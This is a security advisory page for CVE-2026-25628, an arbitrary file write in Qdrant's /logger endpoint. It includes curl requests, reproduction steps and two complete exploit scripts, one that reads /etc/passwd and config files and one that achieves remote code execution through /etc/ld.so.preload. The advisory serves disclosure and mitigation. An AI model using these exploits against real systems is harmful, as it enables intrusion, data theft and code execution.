GHSA-F632-VM87-2M2F

Vulnerability from github – Published: 2026-02-05 21:22 – Updated: 2026-02-06 21:43
VLAI?
Summary
qdrant has arbitrary file write via `/logger` endpoint
Details

Summary

It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5

Details

POST /logger (Source code link) endpoint accepts an attacker-controlled on_disk.log_file path.

There are no authorization checks (but authentication check is present).

This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.

After running the PoC, the content of config/local.yaml will be:

2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
    static_content_dir: ..

2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391

Some junk log lines are present, but they don't matter as this is still valid yaml.

After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.

Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).

Relevant requests:

  1. Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
  -H "Content-Type: application/json" \
  -d '{
    "log_level":"INFO",
    "on_disk":{
      "enabled":true,
      "format":"text",
      "log_level":"INFO",
      "buffer_size_bytes":1,
      "log_file":"config/local.yaml"
    }
  }'
  1. Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
  -H "Content-Type: application/json" \
  -d '{}'

Full reproduction instructions

  1. Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
  1. Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
  1. Restart the container:
sudo docker restart qdrant-poc
  1. Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...

Mitigation

  1. Limit usage of /logger endpoint to users with management privileges only (or better disable it completely).
  2. Restrict the path of the log file to a dedicated logs directory.

This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.

Exploit code

exploit_privesc.py

import requests
import sys
import argparse

parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")

args = parser.parse_args()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "config/local.yaml",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")


res = s.patch(
    f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
    json={},
)
error = res.json()["status"]["error"]

if "doesn't exist!" in error:
    print("[+] Log injection successful")
else:
    print(f"[-] Error: {error}")
    sys.exit(1)

res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")

input("Restart Qdrant cluster and press Enter to continue...")

res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")

res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")

exploit_rce.py

import requests
import argparse
import tempfile
import os

TEST_COLLECTION_NAME = "COLTEST"


parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")

args = parser.parse_args()


assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unlink("/etc/ld.so.preload");
    system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)

with tempfile.TemporaryDirectory() as tmpdir:
    with open(f"{tmpdir}/cmd_code.c", "w") as f:
        f.write(so_code)
    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
    cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "/etc/ld.so.preload",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")

res = s.get(
    f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)

print("[+] Log injected")


res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")


rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})

print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`

input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()

Impact

Remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "qdrant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.3"
            },
            {
              "fixed": "1.15.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:22:50Z",
    "nvd_published_at": "2026-02-06T21:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n    static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"log_level\":\"INFO\",\n    \"on_disk\":{\n      \"enabled\":true,\n      \"format\":\"text\",\n      \"log_level\":\"INFO\",\n      \"buffer_size_bytes\":1,\n      \"log_file\":\"config/local.yaml\"\n    }\n  }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"config/local.yaml\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n    f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n    json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n    print(\"[+] Log injection successful\")\nelse:\n    print(f\"[-] Error: {error}\")\n    sys.exit(1)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n    unlink(\"/etc/ld.so.preload\");\n    system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n        f.write(so_code)\n    os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n    cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"/etc/ld.so.preload\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n    f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
  "id": "GHSA-f632-vm87-2m2f",
  "modified": "2026-02-06T21:43:57Z",
  "published": "2026-02-05T21:22:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qdrant/qdrant"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qdrant has arbitrary file write via `/logger` endpoint"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…